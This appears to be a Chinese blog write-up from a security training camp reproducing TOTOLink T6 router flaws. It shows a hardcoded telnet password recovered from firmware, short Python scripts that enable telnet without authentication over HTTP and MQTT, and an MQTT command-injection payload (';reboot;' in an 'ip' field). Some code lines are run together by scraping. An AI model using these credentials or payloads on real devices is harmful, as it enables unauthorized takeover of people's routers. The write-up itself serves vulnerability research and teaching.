TOTOLink T6路由器漏洞复现

来源:xman夏令营

产品描述

产品介绍:价格不用两张的无线路由器

分为子母路由器,如果是子路由器,需要找到登录ip,恢复出厂设置

漏洞描述

该设备可直接开启telnet功能;且mqtt协议处未对订阅者进行认证处理,且命令执行前未做判断和过滤,所以存在远程命令执行漏洞

开启Telnet

对固件解压分析:发现web_cste下有telnet.html,访问发现telnet服务

开启后尝试连接,需要密码

且burp抓包重发,发现没有cookie也是可以开启的

到固件中尝试获取密码

$1$BJXeRIOB$w1dFteNXpGDcSSWBMGsl2

md5解密,付费记录

之后谷歌查TOTOLink系列的tenlet密码,发现T10的密码为cs2012,md5加密后和上述密文一样,但是尝试未果

到固件包中尝试看看初始化脚本中有没有暴露密码

在/etc/init.d/rcS中全文搜索pass以及shad字段,发现如下信息

cs命令在自己终端中是没有这个命令的,于是在靶机固件中发现/bin/cs命令

对cs命令进行分析,全局搜索pass字段,发现password,跟进查看

发现密码:KL@UHeZ0,登录成功

理顺业务逻辑

然后查看开放了啥端口,发现没有netstat命令,那没关系,拉个busybox进去,由于路由器没有连网络,讲busybox下到本地,然后使用phpstudy起个服务,把文件下载进去

查看运行端口

于是有了网络和进程的信息,主要比较敏感的就是lighttpd的web服务,23的telnet服务,以及一个叫做cs_broker进程,1883是一个叫做MQTT的服务端口,后续分析

再使用burp抓包,看看telnet数据包是啥样的,以便分析业务流程

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 48
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1621380771:2
Connection: close{"telnet_enabled":"1","topicurl":"setTelnetCfg"}

url是http://192.168.0.1/cgi-bin/cstecgi.cgi

端口80,listen 1709/lighttpd

这边有点疑惑,分别看了lighttpd和cgi程序

百度结果:使用开源嵌入式web服务器进行二次开发时,实现单纯的web服务器中间件,或者将转发请求功能和后端处理功能融合在一个二进制文件当中

二次开发的特定功能:身份认证等和后端的CGI功能

嵌入式web服务器再读取完HTTP请求头之后,根据URL前缀来选择执行的CGI程序或内部函数,并根据PATH_INFO选择执行程序内最终的handler函数。

Web服务器自身的历史问题、新增的二进制代码问题、脚本语言代码审计问题、功能控制点的逻辑问题以及相关的逆向工作都是需要重点关注的。

参考链接:常见嵌入式Web服务器CGI处理功能简要分析 (ngrep.me)

然后对cgi文件进行了分析

大概逻辑应该是:

  • 由lighttpd解析基础的http工作,业务代码交给后端的cgi操作,lighttpd与cgi之间参数传递是通过环境变量的方式

既然cgi获得了名为query_string的字符串,那么肯定有地方传过来,全局搜

上述,cstecgi.cgi是get,那一定上面的mod_cgi.so就是send或者set之类的

可以看到,mod_cgi.so是lighttpd加载的动态链接库,有部分功能代码是由mod_cgi.so实现的

可以认为:运行时,cstecgi.cgi作为lighttpd的子进程而存在,由lighttpd进程中的动态链接库mod_cgi.so启动

观察上述telnet数据包,传进来setTelnetCfg

查找字符串

跟进去,右键create function,再F5

阅读可以发现,主要起作用的还是safe_cs_pub函数,上面无非是数据处理

但是跟进去没有细节,判断为库函数

全局搜,看这个函数在哪里定义了

又可以看到,函数最前面的引用

所以定位到:./lib/libmystdlib.so

进行分析

可以看到下面执行命令cste_pub

自己终端无法运行,找到该可执行文件

且路由器终端是可以运行的

百度搜mosquitto_pub:是一个消息队列遥测传输(MQTT),telnet往下,cstecgi.cgi通过MQTT将东西发出去了,MQTT端口为1833,开启状态

正好和上面的1883端口呼应

再去跟进1883

但是去这俩文件中查找telnet字段,是没有的

又断了,线索

再全局搜一下telnet_enabled

上面俩文件中没有telnet的字符串,但是so库还有dlopen的加载方式,所以也可能通过目录加载

所以是不是应该在wireless.so中实现的

ida分析

可找到对应函数

然后现在剩下MQTT待确定

百度是啥:

  • 分为:订阅者、发布者、代理

    • 代理,即broker,负责流量的转发
  • MQTT会有一个通配符topic,假如是第三方订阅者,订阅了一个为#的topic,代理就会把他收到的所有消息,发给这个第三方订阅者

  • MQTT fx:软件,1.7版本不要注册码

那么就使用工具尝试一下连接,然后用burp打一下

理顺整个逻辑

开启Telnet利用脚本

通过http开启telnet

import requests
requests.post("http://192.168.0.1/cgi-bin/cstecgi.cgi",data='{"telnet_enabled":"1","topicurl":"setTelnetCfg"}')

通过mqtt开启telnet

import paho.mqtt.client as mqttclient = mqtt.Client()
client.connect("192.168.0.1",1883,60)
client.publish("totolink/router/setTelnetCfg", b'{"telnet_enabled":"1"}')

命令注入

查看原先setTelnetCfg函数的交叉引用

根据topic,定位使用某个函数

对recvSlaveUpgstatus进行分析

state为1则生效

不做过滤,不做限制,直接执行

构造exp

import paho.mqtt.client as mqttclient = mqtt.Client()
client.connect("192.168.0.1",1883,60)
client.publish("totolink/router/recvSlaveUpgstatus", b'{"status":"1","ip":";reboot;"}')

TOTOLink T6路由器漏洞复现相关推荐

  1. 华为路由器远程命令执行漏洞复现(CVE-2017-17215)

    华为路由器远程命令执行漏洞复现(CVE-2017-17215) 漏洞内容 这个漏洞算是比较老的一种漏洞了,但是具有一定的学习价值. CheckPoint报告华为HG532路由器产品存在远程命令执行漏洞 ...

  2. Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析

    Dlink路由器 CNVD-2018-01084复现分析 0x01 背景介绍 D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞.该漏洞是由于service ...

  3. 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

    1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...

  4. 通过qemu复现路由器漏洞

    目录 简介 环境搭建 固件解包 复现漏洞,IDA调试 参考资料 简介 qemu和vmware一样,一种虚拟机软件,只不过qemu能够虚拟的平台更加丰富一些.能够虚拟很多嵌入式平台的设备. 工作上需要向 ...

  5. CVE-2018-5767 Tenda路由器栈溢出漏洞复现

    前言 第一次尝试IOT固件模拟和漏洞复现,写篇文章记录一下. 实验环境 Linux版本:Ubuntu 18.04 qemu版本:qemu-arm version 2.11.1(Debian 1:2.1 ...

  6. 通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃

    1.基本信息: 2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞.看 ...

  7. SamSung WLAN AP:RCE漏洞复现

    SamSung WLAN AP:RCE 一:漏洞信息 三星WLAN AP WEA453E路由器远程命令执行- 二:漏洞复现Fofa语法: Fofa语法: title=="Samsung WL ...

  8. 【CNNVD-201303-018】D-Link DIR-645 Routers 认证绕过漏洞复现

    目录 0x00 漏洞概述 0x01 影响版本 0x02 漏洞评级 0x03 shodan搜索漏洞环境 0x04 漏洞验证 0x05 修复建议 0x00 漏洞概述 友讯科技股份有限公司(D-Link C ...

  9. Linux Bash漏洞复现

    Bash是什么? Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系 ...

最新文章

  1. UIAlertAction的用法
  2. linux下redis安装教程,linux下安装配置redis图文详解
  3. 【python网络编程】创建TCP/UDP服务器进行客户端/服务器间通信
  4. Django+Echarts画图实例
  5. CGImageRef 图片压缩 裁减
  6. mysql manage keys_相传mysql 5.5 对于非聚集索引增删有很大的改善… 你信吗?
  7. (29)FPGA面试题时序电路延时
  8. 获取指定年月的全部日期放入数组
  9. flag push tcp 作用_TCP协议超详细解析及攻击/防范
  10. Mac菜单栏设置教程,教你更改顺序或隐藏APP图标
  11. Socket通过读取数据阻塞的解决方案
  12. Ignite 的使用过程(一)
  13. 基于CST电磁仿真软件的7-10GHz的微带带通滤波器的设计
  14. docker 简单使用
  15. 最新变态传奇android,新开超级变态传奇_刚开一秒的变态传奇手游私服 18183Android游戏频道...
  16. FastDFS 入门小 Demo( 图片上传)
  17. .bat批处理命令的介绍
  18. php qq授权_PHP模拟QQ网页版授权登陆
  19. Ubuntu VNC 如何调整分辨率
  20. 【Linux】在当前目录下创建文件夹

热门文章

  1. Word2016无法撤销解决方案-有效
  2. Go语言——map 源码分析
  3. java 插件程序开发框架-jpf
  4. CSS自定义字体@font-face:使用方法及format属性
  5. [Git]升级合并两个Git库
  6. 双11天猫自动亲亲抢红包工具
  7. 时间序列分析这件小事(七)----协整
  8. 让你快乐的20个习惯
  9. Echarts 中文 API说明文档
  10. C++混合中文英文字符串匹配查找改进